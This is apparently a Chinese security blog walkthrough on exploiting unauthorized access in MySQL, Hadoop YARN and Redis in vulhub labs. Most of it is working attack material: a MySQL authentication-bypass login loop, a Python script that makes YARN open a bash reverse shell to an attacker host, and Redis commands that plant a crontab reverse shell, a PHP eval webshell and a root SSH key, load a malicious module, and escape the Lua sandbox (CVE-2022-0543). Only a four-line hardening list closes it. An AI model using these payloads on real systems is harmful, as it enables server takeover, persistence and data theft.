当前位置: 首页 > news >正文

数据库安全-RedisHadoopMysql未授权访问RCE

目录

  • 数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE
    • 定义
    • 漏洞复现
      • Mysql-CVE-2012-2122 漏洞
      • Hadoop-配置不当未授权三重奏&RCE 漏洞
    • Redis-未授权访问-Webshell&任务&密匙&RCE 等
      • 漏洞定义:
      • 漏洞成因
      • 漏洞危害
      • 漏洞复现
        • Redis-未授权访问-Webshell&定时任务&密匙&RCE
        • redis命令执行(RCE)
        • redis沙箱绕过(CVE-2022-0543)
    • 加固思路

数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE

定义

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php

常见的未授权访问漏洞及默认端口:
默认端口统计:

[21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088,
8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017]等待

漏洞复现

Mysql-CVE-2012-2122 漏洞

靶场环境:vulhub

image-20231013153406487

开启环境,执行payload:

通过循环,不断发送登录请求:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 

执行等待过后,会直接进入到数据库当中:

image-20231013153545715

成功进入:

image-20231013153607643

Hadoop-配置不当未授权三重奏&RCE 漏洞

靶场环境:vulhub

image-20231013155608954

打开进入环境:

image-20231013155700044

payload:

#!/usr/bin/env pythonimport requeststarget = 'http://192.168.100.134:8088/'
lhost = '192.168.100.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

攻击端开启监听:

nc -lvvp 9999

image-20231013155939650

执行python脚本:

成功反弹

image-20231013160032398

可执行命令:

image-20231013160100075

Redis-未授权访问-Webshell&任务&密匙&RCE 等

redis是一个非常快速的,开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库;

提供多种语言的 API,java/c/c++/c#/php/javascript/

漏洞定义:

redis未授权访问漏洞是一个有域redis服务器版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的IP地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

漏洞成因

1.redis版本 4.x/5.0.5或以前的版本

2.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则,避免其他飞信人来源IP访问等相关安全策略,直接暴露在公网。

3.没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害

攻击者可通过redis命令向目标服务器写入计划任务来反弹shell,完成服务器的控制攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制最严重,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

漏洞复现

Redis-未授权访问-Webshell&定时任务&密匙&RCE

漏洞验证:

验证思路:

未授权访问漏洞的本质就是不需要用户密码就可以完成服务器的登录,所以验证思路很简单,只要能使用攻击机无密码登录目标服务器,漏洞就存在。

服务端,开启redis服务

攻击机器:redis-cli -h IP 连接redis服务器

登录之后输入info,出现内容证明验证成功

漏洞利用:

漏洞利用方式
1、写计划任务反弹shell
利用过程
目标:运行redis服务器
攻击:连接redis服务器利用攻击机将计划任务写进服务器
config set dir /var/spool/cron  //写入的目录  计划文件夹
config set dbfilename root     //写入的文件名,自定义命名即可
set ssr "\n\n*/1****/bin/bash -i > & /dev/tcp/攻击IP/1234 0>&1\n\n"
//写入的内容
save  //保存攻击机:
执行 nc -lvvp 1234   稍等片刻   黑客机接收到目标机的shell 
使用crontab -l 可查看目标机器原来写入的计划任务2、写webshell
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php  @eval($_POST['cmd']); ?>"	//webshell后门
save3、写SSH公钥实现登录
1)攻击机和靶机打开SSH服务
命令:systemctl start ssh(没有的话用apt命令安装或yum安装)2)在目标机创建SSH公钥可写目录
命令:mkdir /root/.ssh   //ls -al 进行查看是否创建成功3)清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件
命令:rm -rf *4)在攻击机生成SSH公钥(需要连续敲击三下回车)
命令:ssh-keygen -t rsa5)在攻击机上切换至公钥存放目录:
命令:cd /root/.ssh6)将公钥写入1.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)
(echo -e "\n\n";cat id_rsa.pub;echo -e"\n\n") > 1.txt将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入 
命令:
cat 1.txt | redis-cli -h 目标IP -x set crack 	//将1.txt的内容设置为crack(设置的名称),命名自定义即可使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
config set dir /root/.ssh
config get dir
config set dbfilename authorized_keys
save
在攻击机使用ssh免密登录
cd /root/.ssh
ssh -i id_rsa root@目标IP
redis命令执行(RCE)

靶场环境:vulhub

image-20231013162258650

开启环境并进入验证,输入info并执行,说明存在未授权:

image-20231013162227907

自动化工具使用:

直接使用,直接干

工具地址

payload:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"//还可将命令换成反弹shell命令,进行反弹。

执行结果:

image-20231013163059983

image-20231013163119547

换一条命令再次尝试:

whoami

image-20231013163148899

成功执行命令。

还可以将命令换成反弹shell命令,进行一个反弹。

redis沙箱绕过(CVE-2022-0543)

靶场环境:vulhub

image-20231013171127037

打开进入环境

payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0//也可以换成反弹shell命令,进行一个反弹

执行结果:

image-20231013172043876

加固思路

1.升级
2.修改6379
3.设置密码认证
4.设置防火墙

相关文章:

数据库安全-RedisHadoopMysql未授权访问RCE

目录 数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE定义漏洞复现Mysql-CVE-2012-2122 漏洞Hadoop-配置不当未授权三重奏&RCE 漏洞 Redis-未授权访问-Webshell&任务&密匙&RCE 等漏洞定义&#xff1a;漏洞成因漏洞危害漏洞复现Redis-未授权…...

辅助驾驶功能开发-功能规范篇(27)-3-导航式巡航辅助NCA华为

书接上回 2.2.2.3.7控制模块 控制模块由横向控制和纵向控制组成。根据横、纵向规划给出的行驶轨迹和给定速度,进行车辆的纵横向控制,输出方向盘转角、加速度或制动踏板开度和档位信息,必要条件下输出车灯信号等。 2.2.2.4 行为仲裁模块 纵向状态: 当纵向位于Off/Standby…...

探索UI设计|栅格系统的深入分析和应用

界面排版太乱了。你知道网格系统的用途吗&#xff1f;网格系统困扰着许多初级网页设计师&#xff0c;就像一个谜。如果您对网格在设计中的应用有任何疑问&#xff0c;本文是为您量身定制的&#xff0c;并深入分析UI设计中网格系统的基本要素和优点。 什么是网格系统 网格系统…...

AI 律助 Alpha GPT 线上实操发布会,重磅发布!

数字化时代,随着人工智能的迅猛发展,各行各业都在积极探索通过智能化工具实现工作效率翻升的可能性。“ ChatGPT 类产品”是未来办公应用软件发展的重要趋势之一,但如何将 ChatGPT 真正应用于法律人的工作,赋能效率提升?法律行业同样面临着新的挑战和机遇。 破局的关键是实现技…...

【漏洞复现】安全云平台存在任意文件下载getshell

漏洞描述 深圳市强鸿电子有限公司鸿运主动安全云平台存在任意文件下载漏洞,攻击者可通过此漏洞下载敏感文件信息。 免责声明 技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权…...

【JUC】原子操作类及LongAddr源码分析

文章目录 1. 十八罗汉2. 原子类再分类2.1 基本类型原子类2.2 数组类型原子类2.3 引用类型原子类2.4 对象的属性修改原子类2.5 原子操作增强类 3. 代码演示及性能比较&#xff1a;4. LongAddr原理5. LongAddr源码分析5.1 add()5.2 longAccumulate()5.3 sum() 6. 小总结6.1 Atomi…...

203、RabbitMQ 之 使用 direct 类型的 Exchange 实现 消息路由 (RoutingKey)

目录 ★ 使用direct实现消息路由代码演示这个情况二ConstantUtil 常量工具类ConnectionUtil 连接RabbitMQ的工具类Publisher 消息生产者测试消息生产者 Consumer01 消息消费者01测试消费者结果&#xff1a; Consumer02 消息消费者02测试消费者结果&#xff1a; 完整代码&#x…...

微服务+Java+Spring Cloud +UniApp +MySql智慧工地综合管理云平台源码,SaaS模式

智慧工地围绕工程现场人、机、料、法、环及施工过程中质量、安全、进度、成本等各项数据满足工地多角色、多视角的有效监管,实现工程建设管理的降本增效. 智慧工地综合管理云平台源码&#xff0c;PC监管端、项目端&#xff1b;APP监管端、项目端、数据可视化大屏端源码&#xf…...

QMidi Pro for Mac:打造您的专属卡拉OK体验

你是否曾经厌倦于在KTV里与朋友们争夺麦克风&#xff1f;是否想要在家中享受自定义的卡拉OK体验&#xff1f;现在&#xff0c;有了QMidi Pro for Mac&#xff0c;一切变得简单而愉快&#xff01; QMidi Pro是一款功能强大的卡拉OK播放器&#xff0c;专为Mac用户设计。它充分利…...

bindtap和catchtap的区别?

bindtap和catchtap都是小程序中用于绑定点击事件的方法。 1.bindtap的作用是绑定一个触摸事件并指定对应的处理函数。当用户点击或触摸相关元素时&#xff0c;会触发该事件&#xff0c;并执行相应的处理逻辑。 示例&#xff1a; <button bindtap"handleTap">…...

IDEA—java: 常量字符串过长问题解决

问题描述&#xff1a; Error: java: 常量字符串过长 问题分析&#xff1a; 字符串长度过长&#xff0c;导致 idea 默认使用的 javac 编译器编译不了。 解决办法&#xff1a; Javac 编译器改为 Eclipse 编译器。 File -> Settings -> Build,Execution,Deployment -&…...

云原生SIEM解决方案

云原生&#xff08;Cloud Native&#xff09;是一种基于云计算的软件开发和部署方法论&#xff0c;它强调将应用程序和服务设计为云环境下的原生应用&#xff0c;以实现高可用性、可扩展性和灵活性。 云原生的优势有哪些 高可用性&#xff1a;云原生可以实现应用程序的高可用…...

工艺边与定位孔设计经验规则总结

🏡《总目录》 目录 1,什么是工艺边和定位孔2,工艺边的设计经验原则2.1,避免尖锐角2.2,工艺边宽度设置2.3,工艺边的方向2.4,定位孔尺寸2.5,定位孔的位置3,去除工艺边的方法注意事项4,总结1,什么是工艺边和定位孔 工艺边是在SMT焊接时,为了PCB和导轨接触预留的PCB边…...

软件架构设计(业务架构、应用架构、数据架构、技术架构)

一、架构相关概念 1、系统 系统&#xff1a;由一群有关联的个体组成&#xff0c;根据某种规则运作&#xff0c;能完成个别原件不能独立完成的工作的群体。大的系统可以嵌套小系统&#xff0c;被嵌套的小系统往往称为大系统的子系统。 2、模块 模块是从逻辑上将系统分解&#…...

我们又组织了一次欧洲最大开源社区活动,Hugging Face 博客欢迎社区成员发帖、Hugging Chat 功能更新!...

每一周&#xff0c;我们的同事都会向社区的成员们发布一些关于 Hugging Face 相关的更新&#xff0c;包括我们的产品和平台更新、社区活动、学习资源和内容更新、开源库和模型更新等&#xff0c;我们将其称之为「Hugging News」。本期 Hugging News 有哪些有趣的消息&#xff0…...

学信息系统项目管理师第4版系列26_项目绩效域(下)

1. 项目工作绩效域 1.1. 涉及项目工作相关的活动和职能 1.2. 预期目标 1.2.1. 高效且有效的项目绩效 1.2.2. 适合项目和环境的项目过程 1.2.3. 干系人适当的沟通和参与 1.2.4. 对实物资源进行了有效管理 1.2.5. 对采购进行了有效管理 1.2.6. 有效处理了变更 1.2.7. 通…...

SQL sever中的索引

目录 一、索引定义 二、索引结构 2.1. B-树索引结构&#xff1a; 2.2. 哈希索引结构&#xff1a; 三、索引作用 四、索引与约束区别 五、索引级别 六、索引分类 6.1. 聚集索引&#xff08;Clustered Index&#xff09;&#xff1a; 6.2. 非聚集索引&#xff08;Noncl…...

多目标鳟海鞘算法(Multi-objective Salp Swarm Algorithm,MSSA)求解微电网优化MATLAB

一、微网系统运行优化模型 微电网优化模型介绍&#xff1a; 微电网多目标优化调度模型简介_IT猿手的博客-CSDN博客 参考文献&#xff1a; [1]李兴莘,张靖,何宇,等.基于改进粒子群算法的微电网多目标优化调度[J].电力科学与工程, 2021, 37(3):7 二、多目标鳟海鞘算法MSSA 多…...

软件测试之概念篇(需求,测试用例,BUG描述,产品的生命周期)

目录 1.什么是需求 2.什么是测试用例 3.什么是BUG 4.软件的生命周期 5.测试的生命周期 1.什么是需求 在大多数软件公司&#xff0c;一般会有两部分需求&#xff1a; 用户需求&#xff1a;可以理解为就是甲方提出需求&#xff0c;如果没有甲方&#xff0c;那么就是终端用…...

jwt详细介绍

jwt详细介绍 1.jwt 简介&#xff1a;2.jwt 工具类介绍3.案列演示&#xff1a;3.1并在web.xml进行配置过滤器 3.2过滤3.3全局响应设置 1.jwt 简介&#xff1a; 。JWT&#xff08;JSON Web Token&#xff09; 是一种用于安全传输信息的开放标准&#xff08;RFC 7519&#xff09;…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...

Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)

文章目录 1.什么是Redis&#xff1f;2.为什么要使用redis作为mysql的缓存&#xff1f;3.什么是缓存雪崩、缓存穿透、缓存击穿&#xff1f;3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配

AI3D视觉的工业赋能者 迁移科技成立于2017年&#xff0c;作为行业领先的3D工业相机及视觉系统供应商&#xff0c;累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成&#xff0c;通过稳定、易用、高回报的AI3D视觉系统&#xff0c;为汽车、新能源、金属制造等行…...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

是否存在路径(FIFOBB算法)

题目描述 一个具有 n 个顶点e条边的无向图&#xff0c;该图顶点的编号依次为0到n-1且不存在顶点与自身相连的边。请使用FIFOBB算法编写程序&#xff0c;确定是否存在从顶点 source到顶点 destination的路径。 输入 第一行两个整数&#xff0c;分别表示n 和 e 的值&#xff08;1…...

Element Plus 表单(el-form)中关于正整数输入的校验规则

目录 1 单个正整数输入1.1 模板1.2 校验规则 2 两个正整数输入&#xff08;联动&#xff09;2.1 模板2.2 校验规则2.3 CSS 1 单个正整数输入 1.1 模板 <el-formref"formRef":model"formData":rules"formRules"label-width"150px"…...

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

Spring AI Chat Memory 实战指南:Local 与 JDBC 存储集成

一个面向 Java 开发者的 Sring-Ai 示例工程项目&#xff0c;该项目是一个 Spring AI 快速入门的样例工程项目&#xff0c;旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。 项目采用模块化设计&#xff0c;每个模块都专注于特定的功能领域&#xff0c;便于学习和…...